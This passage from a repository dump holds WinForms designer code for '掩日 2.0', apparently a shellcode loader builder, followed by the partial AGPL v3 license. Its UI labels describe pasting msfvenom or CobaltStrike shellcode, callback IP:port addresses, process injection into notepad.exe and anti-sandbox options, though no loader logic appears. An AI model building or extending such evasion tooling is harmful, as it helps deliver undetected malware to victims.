140 | this.textBoxDescription.Size = new System.Drawing.Size(271, 119);
141 | this.textBoxDescription.TabIndex = 23;
142 | this.textBoxDescription.TabStop = false;
143 | this.textBoxDescription.Text = "说明";
144 | //
145 | // okButton
146 | //
147 | this.okButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
148 | this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
149 | this.okButton.Location = new System.Drawing.Point(339, 222);
150 | this.okButton.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
151 | this.okButton.Name = "okButton";
152 | this.okButton.Size = new System.Drawing.Size(75, 22);
153 | this.okButton.TabIndex = 24;
154 | this.okButton.Text = "确定(&O)";
155 | this.okButton.Click += new System.EventHandler(this.okButton_Click);
156 | //
157 | // AboutBox1
158 | //
159 | this.AcceptButton = this.okButton;
160 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
161 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
162 | this.ClientSize = new System.Drawing.Size(435, 262);
163 | this.Controls.Add(this.tableLayoutPanel);
164 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
165 | this.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
166 | this.MaximizeBox = false;
167 | this.MinimizeBox = false;
168 | this.Name = "AboutBox1";
169 | this.Padding = new System.Windows.Forms.Padding(9, 8, 9, 8);
170 | this.ShowIcon = false;
171 | this.ShowInTaskbar = false;
172 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
173 | this.Text = "AboutBox1";
174 | this.tableLayoutPanel.ResumeLayout(false);
175 | this.tableLayoutPanel.PerformLayout();
176 | ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit();
177 | this.ResumeLayout(false);
178 |
179 | }
180 |
181 | #endregion
182 |
183 | private System.Windows.Forms.TableLayoutPanel tableLayoutPanel;
184 | private System.Windows.Forms.PictureBox logoPictureBox;
185 | private System.Windows.Forms.Label labelProductName;
186 | private System.Windows.Forms.Label labelVersion;
187 | private System.Windows.Forms.Label labelCopyright;
188 | private System.Windows.Forms.Label labelCompanyName;
189 | private System.Windows.Forms.TextBox textBoxDescription;
190 | private System.Windows.Forms.Button okButton;
191 | private System.ComponentModel.BackgroundWorker backgroundWorker1;
192 | }
193 | }
194 |
--------------------------------------------------------------------------------
/掩日2.0/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace 掩日2._0
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// 必需的设计器变量。
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// 清理所有正在使用的资源。
12 | ///
13 | /// 如果应释放托管资源,为 true;否则为 false。
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows 窗体设计器生成的代码
24 |
25 | ///
26 | /// 设计器支持所需的方法 - 不要修改
27 | /// 使用代码编辑器修改此方法的内容。
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.components = new System.ComponentModel.Container();
32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
33 | this.linkLabel1 = new System.Windows.Forms.LinkLabel();
34 | this.textBox1 = new System.Windows.Forms.TextBox();
35 | this.button1 = new System.Windows.Forms.Button();
36 | this.label3 = new System.Windows.Forms.Label();
37 | this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);
38 | this.comboBox5 = new System.Windows.Forms.ComboBox();
39 | this.textBox2 = new System.Windows.Forms.TextBox();
40 | this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
41 | this.panel1 = new System.Windows.Forms.Panel();
42 | this.richTextBox1 = new System.Windows.Forms.RichTextBox();
43 | this.label8 = new System.Windows.Forms.Label();
44 | this.panel2 = new System.Windows.Forms.Panel();
45 | this.radioButton6 = new System.Windows.Forms.RadioButton();
46 | this.pictureBox3 = new System.Windows.Forms.PictureBox();
47 | this.radioButton3 = new System.Windows.Forms.RadioButton();
48 | this.label6 = new System.Windows.Forms.Label();
49 | this.label4 = new System.Windows.Forms.Label();
50 | this.comboBox2 = new System.Windows.Forms.ComboBox();
51 | this.label2 = new System.Windows.Forms.Label();
52 | this.comboBox1 = new System.Windows.Forms.ComboBox();
53 | this.label1 = new System.Windows.Forms.Label();
54 | this.comboBox3 = new System.Windows.Forms.ComboBox();
55 | this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
56 | this.panel1.SuspendLayout();
57 | this.panel2.SuspendLayout();
58 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit();
59 | this.SuspendLayout();
60 | //
61 | // linkLabel1
62 | //
63 | this.linkLabel1.AutoSize = true;
64 | this.linkLabel1.Font = new System.Drawing.Font("微软雅黑", 8F);
65 | this.linkLabel1.LinkColor = System.Drawing.Color.Blue;
66 | this.linkLabel1.Location = new System.Drawing.Point(187, 56);
67 | this.linkLabel1.Name = "linkLabel1";
68 | this.linkLabel1.Size = new System.Drawing.Size(56, 20);
69 | this.linkLabel1.TabIndex = 0;
70 | this.linkLabel1.TabStop = true;
71 | this.linkLabel1.Text = "🔻进阶";
72 | this.toolTip1.SetToolTip(this.linkLabel1, "打开进阶选项");
73 | this.linkLabel1.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkLabel1_LinkClicked);
74 | //
75 | // textBox1
76 | //
77 | this.textBox1.Location = new System.Drawing.Point(23, 13);
78 | this.textBox1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
79 | this.textBox1.Name = "textBox1";
80 | this.textBox1.Size = new System.Drawing.Size(265, 27);
81 | this.textBox1.TabIndex = 3;
82 | this.textBox1.Text = "127.0.0.1:4444";
83 | this.toolTip1.SetToolTip(this.textBox1, "格式为 IP:端口,支持输入多个IP:端口,英文 , 隔开。如果填入多个IP(最多3个),程序在运行时将随机连接一个地址,连接失败会自动重试其他地址");
84 | //
85 | // button1
86 | //
87 | this.button1.Font = new System.Drawing.Font("宋体", 9F);
88 | this.button1.Location = new System.Drawing.Point(103, 46);
89 | this.button1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
90 | this.button1.Name = "button1";
91 | this.button1.Size = new System.Drawing.Size(84, 26);
92 | this.button1.TabIndex = 5;
93 | this.button1.Text = "生成";
94 | this.button1.UseVisualStyleBackColor = true;
95 | this.button1.Click += new System.EventHandler(this.button1_Click);
96 | //
97 | // label3
98 | //
99 | this.label3.AutoSize = true;
100 | this.label3.Location = new System.Drawing.Point(272, 52);
101 | this.label3.Name = "label3";
102 | this.label3.Size = new System.Drawing.Size(30, 20);
103 | this.label3.TabIndex = 8;
104 | this.label3.Text = "🛠";
105 | this.toolTip1.SetToolTip(this.label3, "关于");
106 | this.label3.Click += new System.EventHandler(this.label3_Click);
107 | //
108 | // toolTip1
109 | //
110 | this.toolTip1.AutoPopDelay = 15000;
111 | this.toolTip1.InitialDelay = 500;
112 | this.toolTip1.ReshowDelay = 100;
113 | //
114 | // comboBox5
115 | //
116 | this.comboBox5.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
117 | this.comboBox5.Font = new System.Drawing.Font("微软雅黑", 8F);
118 | this.comboBox5.FormattingEnabled = true;
119 | this.comboBox5.Location = new System.Drawing.Point(102, 134);
120 | this.comboBox5.Name = "comboBox5";
121 | this.comboBox5.Size = new System.Drawing.Size(185, 27);
122 | this.comboBox5.TabIndex = 23;
123 | this.toolTip1.SetToolTip(this.comboBox5, "已经自带了简单的反沙箱功能,可以按需再选");
124 | //
125 | // textBox2
126 | //
127 | this.textBox2.Location = new System.Drawing.Point(102, 92);
128 | this.textBox2.Name = "textBox2";
129 | this.textBox2.Size = new System.Drawing.Size(185, 27);
130 | this.textBox2.TabIndex = 15;
131 | this.textBox2.Text = "notepad.exe";
132 | this.toolTip1.SetToolTip(this.textBox2, "注入新进程建议输入 notepad.exe 或 calc.exe 等");
133 | //
134 | // panel1
135 | //
136 | this.panel1.Controls.Add(this.richTextBox1);
137 | this.panel1.Controls.Add(this.comboBox5);
138 | this.panel1.Controls.Add(this.label8);
139 | this.panel1.Controls.Add(this.panel2);
140 | this.panel1.Controls.Add(this.textBox2);
141 | this.panel1.Controls.Add(this.label4);
142 | this.panel1.Controls.Add(this.comboBox2);
143 | this.panel1.Controls.Add(this.label2);
144 | this.panel1.Controls.Add(this.comboBox1);
145 | this.panel1.Controls.Add(this.label1);
146 | this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
147 | this.panel1.Location = new System.Drawing.Point(0, 78);
148 | this.panel1.Name = "panel1";
149 | this.panel1.Size = new System.Drawing.Size(305, 403);
150 | this.panel1.TabIndex = 9;
151 | this.panel1.Visible = false;
152 | //
153 | // richTextBox1
154 | //
155 | this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
156 | this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
157 | this.richTextBox1.ForeColor = System.Drawing.Color.Gray;
158 | this.richTextBox1.Location = new System.Drawing.Point(0, 232);
159 | this.richTextBox1.Name = "richTextBox1";
160 | this.richTextBox1.Size = new System.Drawing.Size(305, 171);
161 | this.richTextBox1.TabIndex = 10;
162 | this.richTextBox1.Text = "粘贴msfvenom或CobaltStrike生成的shellcode到此, shellcode必须为 c 或 c# 格式";
163 | this.richTextBox1.Click += new System.EventHandler(this.richTextBox1_Click);
164 | this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged);
165 | //
166 | // label8
167 | //
168 | this.label8.AutoSize = true;
169 | this.label8.Location = new System.Drawing.Point(11, 138);
170 | this.label8.Name = "label8";
171 | this.label8.Size = new System.Drawing.Size(105, 20);
172 | this.label8.TabIndex = 22;
173 | this.label8.Text = "虚拟机/沙箱:";
174 | //
175 | // panel2
176 | //
177 | this.panel2.Controls.Add(this.radioButton6);
178 | this.panel2.Controls.Add(this.pictureBox3);
179 | this.panel2.Controls.Add(this.radioButton3);
180 | this.panel2.Controls.Add(this.label6);
181 | this.panel2.Location = new System.Drawing.Point(2, 172);
182 | this.panel2.Name = "panel2";
183 | this.panel2.Size = new System.Drawing.Size(301, 62);
184 | this.panel2.TabIndex = 19;
185 | //
186 | // radioButton6
187 | //
188 | this.radioButton6.AutoSize = true;
189 | this.radioButton6.Location = new System.Drawing.Point(166, 30);
190 | this.radioButton6.Name = "radioButton6";
191 | this.radioButton6.Size = new System.Drawing.Size(75, 24);
192 | this.radioButton6.TabIndex = 28;
193 | this.radioButton6.Text = "自定义";
194 | this.radioButton6.UseVisualStyleBackColor = true;
195 | this.radioButton6.CheckedChanged += new System.EventHandler(this.radioButton6_CheckedChanged);
196 | //
197 | // pictureBox3
198 | //
199 | this.pictureBox3.Location = new System.Drawing.Point(250, 19);
200 | this.pictureBox3.Name = "pictureBox3";
201 | this.pictureBox3.Size = new System.Drawing.Size(35, 35);
202 | this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
203 | this.pictureBox3.TabIndex = 27;
204 | this.pictureBox3.TabStop = false;
205 | //
206 | // radioButton3
207 | //
208 | this.radioButton3.AutoSize = true;
209 | this.radioButton3.Checked = true;
210 | this.radioButton3.Location = new System.Drawing.Point(100, 30);
211 | this.radioButton3.Name = "radioButton3";
212 | this.radioButton3.Size = new System.Drawing.Size(45, 24);
213 | this.radioButton3.TabIndex = 21;
214 | this.radioButton3.TabStop = true;
215 | this.radioButton3.Text = "无";
216 | this.radioButton3.UseVisualStyleBackColor = true;
217 | this.radioButton3.CheckedChanged += new System.EventHandler(this.radioButton3_CheckedChanged);
218 | //
219 | // label6
220 | //
221 | this.label6.AutoSize = true;
222 | this.label6.Location = new System.Drawing.Point(9, 1);
223 | this.label6.Name = "label6";
224 | this.label6.Size = new System.Drawing.Size(84, 20);
225 | this.label6.TabIndex = 20;
226 | this.label6.Text = "设置图标:";
227 | //
228 | // label4
229 | //
230 | this.label4.AutoSize = true;
231 | this.label4.Location = new System.Drawing.Point(11, 96);
232 | this.label4.Name = "label4";
233 | this.label4.Size = new System.Drawing.Size(99, 20);
234 | this.label4.TabIndex = 14;
235 | this.label4.Text = "注入进程名:";
236 | //
237 | // comboBox2
238 | //
239 | this.comboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
240 | this.comboBox2.Font = new System.Drawing.Font("微软雅黑", 8F);
241 | this.comboBox2.FormattingEnabled = true;
242 | this.comboBox2.Location = new System.Drawing.Point(101, 53);
243 | this.comboBox2.Name = "comboBox2";
244 | this.comboBox2.Size = new System.Drawing.Size(185, 27);
245 | this.comboBox2.TabIndex = 13;
246 | this.comboBox2.SelectedIndexChanged += new System.EventHandler(this.comboBox2_SelectedIndexChanged);
247 | //
248 | // label2
249 | //
250 | this.label2.AutoSize = true;
251 | this.label2.Location = new System.Drawing.Point(11, 56);
252 | this.label2.Name = "label2";
253 | this.label2.Size = new System.Drawing.Size(84, 20);
254 | this.label2.TabIndex = 12;
255 | this.label2.Text = "执行方式:";
256 | //
257 | // comboBox1
258 | //
259 | this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
260 | this.comboBox1.Font = new System.Drawing.Font("微软雅黑", 8F);
261 | this.comboBox1.FormattingEnabled = true;
262 | this.comboBox1.Items.AddRange(new object[] {
263 | "C",
264 | "C#"});
265 | this.comboBox1.Location = new System.Drawing.Point(102, 8);
266 | this.comboBox1.Name = "comboBox1";
267 | this.comboBox1.Size = new System.Drawing.Size(185, 27);
268 | this.comboBox1.TabIndex = 11;
269 | this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged);
270 | //
271 | // label1
272 | //
273 | this.label1.AutoSize = true;
274 | this.label1.Location = new System.Drawing.Point(11, 15);
275 | this.label1.Name = "label1";
276 | this.label1.Size = new System.Drawing.Size(84, 20);
277 | this.label1.TabIndex = 10;
278 | this.label1.Text = "编译语言:";
279 | //
280 | // comboBox3
281 | //
282 | this.comboBox3.BackColor = System.Drawing.SystemColors.Window;
283 | this.comboBox3.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
284 | this.comboBox3.Font = new System.Drawing.Font("微软雅黑", 8F);
285 | this.comboBox3.ForeColor = System.Drawing.Color.Black;
286 | this.comboBox3.FormattingEnabled = true;
287 | this.comboBox3.Items.AddRange(new object[] {
288 | "32位",
289 | "64位"});
290 | this.comboBox3.Location = new System.Drawing.Point(23, 48);
291 | this.comboBox3.Name = "comboBox3";
292 | this.comboBox3.Size = new System.Drawing.Size(48, 27);
293 | this.comboBox3.TabIndex = 17;
294 | this.comboBox3.SelectedIndexChanged += new System.EventHandler(this.comboBox3_SelectedIndexChanged);
295 | //
296 | // openFileDialog1
297 | //
298 | this.openFileDialog1.FileName = "openFileDialog1";
299 | //
300 | // Form1
301 | //
302 | this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
303 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
304 | this.ClientSize = new System.Drawing.Size(305, 481);
305 | this.Controls.Add(this.panel1);
306 | this.Controls.Add(this.label3);
307 | this.Controls.Add(this.button1);
308 | this.Controls.Add(this.textBox1);
309 | this.Controls.Add(this.linkLabel1);
310 | this.Controls.Add(this.comboBox3);
311 | this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
312 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
313 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
314 | this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
315 | this.MaximizeBox = false;
316 | this.Name = "Form1";
317 | this.Text = "掩日 2.0 - 1y0n.com";
318 | this.panel1.ResumeLayout(false);
319 | this.panel1.PerformLayout();
320 | this.panel2.ResumeLayout(false);
321 | this.panel2.PerformLayout();
322 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit();
323 | this.ResumeLayout(false);
324 | this.PerformLayout();
325 |
326 | }
327 |
328 | #endregion
329 |
330 | private System.Windows.Forms.LinkLabel linkLabel1;
331 | private System.Windows.Forms.TextBox textBox1;
332 | private System.Windows.Forms.Button button1;
333 | private System.Windows.Forms.Label label3;
334 | private System.Windows.Forms.ToolTip toolTip1;
335 | private System.Windows.Forms.SaveFileDialog saveFileDialog1;
336 | private System.Windows.Forms.Panel panel1;
337 | private System.Windows.Forms.TextBox textBox2;
338 | private System.Windows.Forms.Label label4;
339 | private System.Windows.Forms.ComboBox comboBox2;
340 | private System.Windows.Forms.Label label2;
341 | private System.Windows.Forms.ComboBox comboBox1;
342 | private System.Windows.Forms.Label label1;
343 | private System.Windows.Forms.Panel panel2;
344 | private System.Windows.Forms.RadioButton radioButton6;
345 | private System.Windows.Forms.PictureBox pictureBox3;
346 | private System.Windows.Forms.RadioButton radioButton3;
347 | private System.Windows.Forms.Label label6;
348 | private System.Windows.Forms.ComboBox comboBox5;
349 | private System.Windows.Forms.Label label8;
350 | private System.Windows.Forms.RichTextBox richTextBox1;
351 | private System.Windows.Forms.ComboBox comboBox3;
352 | private System.Windows.Forms.OpenFileDialog openFileDialog1;
353 | }
354 | }
355 |
356 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU AFFERO GENERAL PUBLIC LICENSE
2 | Version 3, 19 November 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU Affero General Public License is a free, copyleft license for
11 | software and other kinds of works, specifically designed to ensure
12 | cooperation with the community in the case of network server software.
13 |
14 | The licenses for most software and other practical works are designed
15 | to take away your freedom to share and change the works. By contrast,
16 | our General Public Licenses are intended to guarantee your freedom to
17 | share and change all versions of a program--to make sure it remains free
18 | software for all its users.
19 |
20 | When we speak of free software, we are referring to freedom, not
21 | price. Our General Public Licenses are designed to make sure that you
22 | have the freedom to distribute copies of free software (and charge for
23 | them if you wish), that you receive source code or can get it if you
24 | want it, that you can change the software or use pieces of it in new
25 | free programs, and that you know you can do these things.
26 |
27 | Developers that use our General Public Licenses protect your rights
28 | with two steps: (1) assert copyright on the software, and (2) offer
29 | you this License which gives you legal permission to copy, distribute
30 | and/or modify the software.
31 |
32 | A secondary benefit of defending all users' freedom is that
33 | improvements made in alternate versions of the program, if they
34 | receive widespread use, become available for other developers to
35 | incorporate. Many developers of free software are heartened and
36 | encouraged by the resulting cooperation. However, in the case of
37 | software used on network servers, this result may fail to come about.
38 | The GNU General Public License permits making a modified version and
39 | letting the public access it on a server without ever releasing its
40 | source code to the public.
41 |
42 | The GNU Affero General Public License is designed specifically to
43 | ensure that, in such cases, the modified source code becomes available
44 | to the community. It requires the operator of a network server to
45 | provide the source code of the modified version running there to the
46 | users of that server. Therefore, public use of a modified version, on
47 | a publicly accessible server, gives the public access to the source
48 | code of the modified version.
49 |
50 | An older license, called the Affero General Public License and
51 | published by Affero, was designed to accomplish similar goals. This is
52 | a different license, not a version of the Affero GPL, but Affero has
53 | released a new version of the Affero GPL which permits relicensing under
54 | this license.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | TERMS AND CONDITIONS
60 |
61 | 0. Definitions.
62 |
63 | "This License" refers to version 3 of the GNU Affero General Public License.
64 |
65 | "Copyright" also means copyright-like laws that apply to other kinds of
66 | works, such as semiconductor masks.
67 |
68 | "The Program" refers to any copyrightable work licensed under this
69 | License. Each licensee is addressed as "you". "Licensees" and
70 | "recipients" may be individuals or organizations.
71 |
72 | To "modify" a work means to copy from or adapt all or part of the work
73 | in a fashion requiring copyright permission, other than the making of an
74 | exact copy. The resulting work is called a "modified version" of the
75 | earlier work or a work "based on" the earlier work.
76 |
77 | A "covered work" means either the unmodified Program or a work based
78 | on the Program.
79 |
80 | To "propagate" a work means to do anything with it that, without
81 | permission, would make you directly or secondarily liable for
82 | infringement under applicable copyright law, except executing it on a
83 | computer or modifying a private copy. Propagation includes copying,
84 | distribution (with or without modification), making available to the
85 | public, and in some countries other activities as well.
86 |
87 | To "convey" a work means any kind of propagation that enables other
88 | parties to make or receive copies. Mere interaction with a user through
89 | a computer network, with no transfer of a copy, is not conveying.
90 |
91 | An interactive user interface displays "Appropriate Legal Notices"
92 | to the extent that it includes a convenient and prominently visible
93 | feature that (1) displays an appropriate copyright notice, and (2)
94 | tells the user that there is no warranty for the work (except to the
95 | extent that warranties are provided), that licensees may convey the
96 | work under this License, and how to view a copy of this License. If
97 | the interface presents a list of user commands or options, such as a
98 | menu, a prominent item in the list meets this criterion.
99 |
100 | 1. Source Code.
101 |
102 | The "source code" for a work means the preferred form of the work
103 | for making modifications to it. "Object code" means any non-source
104 | form of a work.
105 |
106 | A "Standard Interface" means an interface that either is an official
107 | standard defined by a recognized standards body, or, in the case of
108 | interfaces specified for a particular programming language, one that
109 | is widely used among developers working in that language.
110 |
111 | The "System Libraries" of an executable work include anything, other
112 | than the work as a whole, that (a) is included in the normal form of
113 | packaging a Major Component, but which is not part of that Major
114 | Component, and (b) serves only to enable use of the work with that
115 | Major Component, or to implement a Standard Interface for which an
116 | implementation is available to the public in source code form. A
117 | "Major Component", in this context, means a major essential component
118 | (kernel, window system, and so on) of the specific operating system
119 | (if any) on which the executable work runs, or a compiler used to
120 | produce the work, or an object code interpreter used to run it.
121 |
122 | The "Corresponding Source" for a work in object code form means all
123 | the source code needed to generate, install, and (for an executable
124 | work) run the object code and to modify the work, including scripts to
125 | control those activities. However, it does not include the work's
126 | System Libraries, or general-purpose tools or generally available free
127 | programs which are used unmodified in performing those activities but
128 | which are not part of the work. For example, Corresponding Source
129 | includes interface definition files associated with source files for
130 | the work, and the source code for shared libraries and dynamically
131 | linked subprograms that the work is specifically designed to require,
132 | such as by intimate data communication or control flow between those
133 | subprograms and other parts of the work.
134 |
135 | The Corresponding Source need not include anything that users
136 | can regenerate automatically from other parts of the Corresponding
137 | Source.
138 |
139 | The Corresponding Source for a work in source code form is that
140 | same work.
141 |
142 | 2. Basic Permissions.
143 |
144 | All rights granted under this License are granted for the term of
145 | copyright on the Program, and are irrevocable provided the stated
146 | conditions are met. This License explicitly affirms your unlimited
147 | permission to run the unmodified Program. The output from running a
148 | covered work is covered by this License only if the output, given its
149 | content, constitutes a covered work. This License acknowledges your
150 | rights of fair use or other equivalent, as provided by copyright law.
151 |
152 | You may make, run and propagate covered works that you do not
153 | convey, without conditions so long as your license otherwise remains
154 | in force. You may convey covered works to others for the sole purpose
155 | of having them make modifications exclusively for you, or provide you
156 | with facilities for running those works, provided that you comply with
157 | the terms of this License in conveying all material for which you do
158 | not control copyright. Those thus making or running the covered works
159 | for you must do so exclusively on your behalf, under your direction
160 | and control, on terms that prohibit them from making any copies of
161 | your copyrighted material outside their relationship with you.
162 |
163 | Conveying under any other circumstances is permitted solely under
164 | the conditions stated below. Sublicensing is not allowed; section 10
165 | makes it unnecessary.
166 |
167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
168 |
169 | No covered work shall be deemed part of an effective technological
170 | measure under any applicable law fulfilling obligations under article
171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
172 | similar laws prohibiting or restricting circumvention of such
173 | measures.
174 |
175 | When you convey a covered work, you waive any legal power to forbid
176 | circumvention of technological measures to the extent such circumvention
177 | is effected by exercising rights under this License with respect to
178 | the covered work, and you disclaim any intention to limit operation or
179 | modification of the work as a means of enforcing, against the work's
180 | users, your or third parties' legal rights to forbid circumvention of
181 | technological measures.
182 |
183 | 4. Conveying Verbatim Copies.
184 |
185 | You may convey verbatim copies of the Program's source code as you
186 | receive it, in any medium, provided that you conspicuously and
187 | appropriately publish on each copy an appropriate copyright notice;
188 | keep intact all notices stating that this License and any
189 | non-permissive terms added in accord with section 7 apply to the code;
190 | keep intact all notices of the absence of any warranty; and give all
191 | recipients a copy of this License along with the Program.
192 |
193 | You may charge any price or no price for each copy that you convey,
194 | and you may offer support or warranty protection for a fee.
195 |
196 | 5. Conveying Modified Source Versions.
197 |
198 | You may convey a work based on the Program, or the modifications to
199 | produce it from the Program, in the form of source code under the
200 | terms of section 4, provided that you also meet all of these conditions:
201 |
202 | a) The work must carry prominent notices stating that you modified
203 | it, and giving a relevant date.
204 |
205 | b) The work must carry prominent notices stating that it is
206 | released under this License and any conditions added under section
207 | 7. This requirement modifies the requirement in section 4 to
208 | "keep intact all notices".
209 |
210 | c) You must license the entire work, as a whole, under this
211 | License to anyone who comes into possession of a copy. This
212 | License will therefore apply, along with any applicable section 7
213 | additional terms, to the whole of the work, and all its parts,
214 | regardless of how they are packaged. This License gives no
215 | permission to license the work in any other way, but it does not
216 | invalidate such permission if you have separately received it.
217 |
218 | d) If the work has interactive user interfaces, each must display
219 | Appropriate Legal Notices; however, if the Program has interactive
220 | interfaces that do not display Appropriate Legal Notices, your
221 | work need not make them do so.
222 |
223 | A compilation of a covered work with other separate and independent
224 | works, which are not by their nature extensions of the covered work,
225 | and which are not combined with it such as to form a larger program,
226 | in or on a volume of a storage or distribution medium, is called an
227 | "aggregate" if the compilation and its resulting copyright are not
228 | used to limit the access or legal rights of the compilation's users
229 | beyond what the individual works permit. Inclusion of a covered work
230 | in an aggregate does not cause this License to apply to the other
231 | parts of the aggregate.
232 |
233 | 6. Conveying Non-Source Forms.
234 |
235 | You may convey a covered work in object code form under the terms
236 | of sections 4 and 5, provided that you also convey the
237 | machine-readable Corresponding Source under the terms of this License,
238 | in one of these ways:
239 |
240 | a) Convey the object code in, or embodied in, a physical product
241 | (including a physical distribution medium), accompanied by the
242 | Corresponding Source fixed on a durable physical medium
243 | customarily used for software interchange.
244 |
245 | b) Convey the object code in, or embodied in, a physical product
246 | (including a physical distribution medium), accompanied by a
247 | written offer, valid for at least three years and valid for as
248 | long as you offer spare parts or customer support for that product
249 | model, to give anyone who possesses the object code either (1) a
250 | copy of the Corresponding Source for all the software in the
251 | product that is covered by this License, on a durable physical
252 | medium customarily used for software interchange, for a price no
253 | more than your reasonable cost of physically performing this
254 | conveying of source, or (2) access to copy the
255 | Corresponding Source from a network server at no charge.
256 |
257 | c) Convey individual copies of the object code with a copy of the
258 | written offer to provide the Corresponding Source. This
259 | alternative is allowed only occasionally and noncommercially, and
260 | only if you received the object code with such an offer, in accord
261 | with subsection 6b.
262 |
263 | d) Convey the object code by offering access from a designated
264 | place (gratis or for a charge), and offer equivalent access to the
265 | Corresponding Source in the same way through the same place at no
266 | further charge. You need not require recipients to copy the
267 | Corresponding Source along with the object code. If the place to
268 | copy the object code is a network server, the Corresponding Source
269 | may be on a different server (operated by you or a third party)
270 | that supports equivalent copying facilities, provided you maintain
271 | clear directions next to the object code saying where to find the
272 | Corresponding Source. Regardless of what server hosts the
273 | Corresponding Source, you remain obligated to ensure that it is
274 | available for as long as needed to satisfy these requirements.
275 |
276 | e) Convey the object code using peer-to-peer transmission, provided
277 | you inform other peers where the object code and Corresponding
278 | Source of the work are being offered to the general public at no
279 | charge under subsection 6d.
280 |
281 | A separable portion of the object code, whose source code is excluded
282 | from the Corresponding Source as a System Library, need not be
283 | included in conveying the object code work.
284 |
285 | A "User Product" is either (1) a "consumer product", which means any
286 | tangible personal property which is normally used for personal, family,
287 | or household purposes, or (2) anything designed or sold for incorporation
288 | into a dwelling. In determining whether a product is a consumer product,
289 | doubtful cases shall be resolved in favor of coverage. For a particular
290 | product received by a particular user, "normally used" refers to a
291 | typical or common use of that class of product, regardless of the status
292 | of the particular user or of the way in which the particular user
293 | actually uses, or expects or is expected to use, the product. A product
294 | is a consumer product regardless of whether the product has substantial
295 | commercial, industrial or non-consumer uses, unless such uses represent
296 | the only significant mode of use of the product.
297 |
298 | "Installation Information" for a User Product means any methods,
299 | procedures, authorization keys, or other information required to install
300 | and execute modified versions of a covered work in that User Product from
301 | a modified version of its Corresponding Source. The information must
302 | suffice to ensure that the continued functioning of the modified object
303 | code is in no case prevented or interfered with solely because
304 | modification has been made.
305 |
306 | If you convey an object code work under this section in, or with, or
307 | specifically for use in, a User Product, and the conveying occurs as
308 | part of a transaction in which the right of possession and use of the
309 | User Product is transferred to the recipient in perpetuity or for a
310 | fixed term (regardless of how the transaction is characterized), the
311 | Corresponding Source conveyed under this section must be accompanied
312 | by the Installation Information. But this requirement does not apply
313 | if neither you nor any third party retains the ability to install
314 | modified object code on the User Product (for example, the work has
315 | been installed in ROM).
316 |
317 | The requirement to provide Installation Information does not include a
318 | requirement to continue to provide support service, warranty, or updates
319 | for a work that has been modified or installed by the recipient, or for
320 | the User Product in which it has been modified or installed. Access to a
321 | network may be denied when the modification itself materially and
322 | adversely affects the operation of the network or violates the rules and
323 | protocols for communication across the network.
324 |
325 | Corresponding Source conveyed, and Installation Information provided,
326 | in accord with this section must be in a format that is publicly
327 | documented (and with an implementation available to the public in
328 | source code form), and must require no special password or key for
329 | unpacking, reading or copying.
330 |
331 | 7. Additional Terms.
332 |
333 | "Additional permissions" are terms that supplement the terms of this
334 | License by making exceptions from one or more of its conditions.
335 | Additional permissions that are applicable to the entire Program shall
336 | be treated as though they were included in this License, to the extent
337 | that they are valid under applicable law. If additional permissions
338 | apply only to part of the Program, that part may be used separately
339 | under those permissions, but the entire Program remains governed by
340 | this License without regard to the additional permissions.
341 |
342 | When you convey a copy of a covered work, you may at your option
343 | remove any additional permissions from that copy, or from any part of
344 | it. (Additional permissions may be written to require their own
345 | removal in certain cases when you modify the work.) You may place
346 | additional permissions on material, added by you to a covered work,
